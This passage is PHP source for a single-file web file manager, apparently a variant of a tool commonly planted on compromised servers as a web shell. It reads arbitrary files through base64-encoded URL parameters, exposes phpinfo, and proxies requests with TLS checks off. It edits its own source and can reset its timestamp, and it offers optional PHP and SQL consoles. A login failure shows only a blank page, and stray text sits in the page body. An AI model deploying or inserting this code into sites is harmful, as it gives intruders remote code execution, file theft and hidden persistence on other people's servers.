		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
